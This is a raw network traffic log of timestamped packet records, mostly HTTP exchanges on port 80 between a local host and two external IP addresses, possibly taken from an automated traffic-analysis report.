Oct 25, 2024 11:17:45.251082897 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251082897 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251106977 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251137018 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251151085 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251151085 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251184940 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251188993 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251221895 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251251936 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251255989 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251286983 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251305103 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251305103 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251393080 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251426935 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251441956 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251465082 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251486063 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251514912 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251521111 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251566887 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251569033 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251600027 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251636982 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251661062 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251661062 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251667976 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251679897 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251702070 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251734972 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251745939 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251745939 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251769066 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251801014 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251801968 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251842022 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251842976 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251842976 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251892090 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251925945 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251930952 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251950026 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.251959085 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.251993895 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252037048 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252037048 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252043962 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252078056 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252110004 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252119064 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252119064 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252144098 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252161980 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252177954 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252202034 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252213955 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252244949 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252258062 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252258062 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252279997 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252315044 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252320051 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252320051 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252366066 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252388954 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252401114 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252418995 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252450943 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252463102 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252485991 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252491951 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252535105 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252542019 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252571106 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252587080 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252607107 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252640009 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252646923 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252646923 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252672911 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252687931 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252707005 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252741098 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252743959 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252743959 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252774954 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252804041 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252815008 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252815008 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252840996 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252876997 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252882004 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252882004 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252912045 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252938986 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252945900 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.252969980 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.252980947 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253015041 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253036976 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253046989 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253072977 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253082037 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253106117 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253115892 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253125906 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253166914 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253201008 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253204107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253226042 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253235102 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253263950 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253268003 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253318071 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253336906 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253353119 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253386974 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253420115 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253429890 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253429890 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253453970 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253488064 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253494024 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253494024 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253526926 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253555059 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253598928 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253598928 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253623009 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253659010 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253691912 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253725052 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253757954 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253792048 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253820896 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253823996 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253858089 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253865004 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253865004 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253890991 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253927946 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.253946066 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.253983974 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.254481077 CEST	52683	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:17:45.261189938 CEST	80	52683	93.187.206.66	192.168.2.5
Oct 25, 2024 11:17:45.261270046 CEST	52683	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:17:45.261450052 CEST	52683	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:17:45.267107010 CEST	80	52683	93.187.206.66	192.168.2.5
Oct 25, 2024 11:17:45.383641958 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.383766890 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.383817911 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.383852959 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.383877039 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.383877039 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.383877039 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.383927107 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.383939981 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.383968115 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384021044 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384037018 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384037018 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384054899 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384083986 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384088039 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384130001 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384138107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384138107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384179115 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384180069 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384231091 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384260893 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384294033 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384304047 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384304047 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384304047 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384327888 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384361982 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384402990 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384402990 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384411097 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384444952 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384514093 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384526968 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384526968 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384546995 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384579897 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384635925 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384669065 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384680986 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384680986 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384680986 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384701014 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384733915 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384746075 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384746075 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384766102 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384815931 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384828091 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384828091 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384848118 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384881020 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384891033 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384891033 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384915113 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.384958029 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.384958029 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385003090 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385039091 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385047913 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385090113 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385107040 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385124922 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385157108 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385190964 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385209084 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385209084 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385209084 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385221004 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385236979 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385271072 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385281086 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385305882 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385338068 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385370016 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385402918 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385415077 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385415077 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385415077 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385438919 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385471106 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385504007 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385504007 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385504961 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385536909 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385546923 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385546923 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385587931 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385620117 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385670900 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385724068 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385730982 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385731936 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385756969 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385776997 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385790110 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385823011 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385855913 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385874033 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385874987 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385874987 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385890007 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385921955 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385955095 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.385967970 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385967970 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385967970 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.385984898 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386018038 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386085987 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386118889 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386126995 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386126995 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386126995 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386152983 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386171103 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386185884 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386219025 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386225939 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386225939 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386253119 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386259079 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386286974 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386293888 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386318922 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386331081 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386353970 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386385918 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386419058 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386434078 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386434078 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386434078 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386471033 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386514902 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386514902 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386521101 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386569977 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386605024 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386637926 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386651039 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386651039 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386672020 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386703968 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386713028 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386713028 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386737108 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386770964 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386801958 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386801958 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386806965 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386823893 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386869907 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386885881 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386918068 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386951923 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.386985064 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386985064 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.386985064 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387020111 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387051105 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387067080 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387067080 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387067080 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387084961 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387120962 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387120962 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387152910 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387187004 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387221098 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387240887 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387254953 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387286901 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387316942 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387316942 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387336969 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387341022 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387389898 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387392044 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387423038 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387456894 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387491941 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387497902 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387497902 CEST	52664	80	192.168.2.5	104.26.10.81
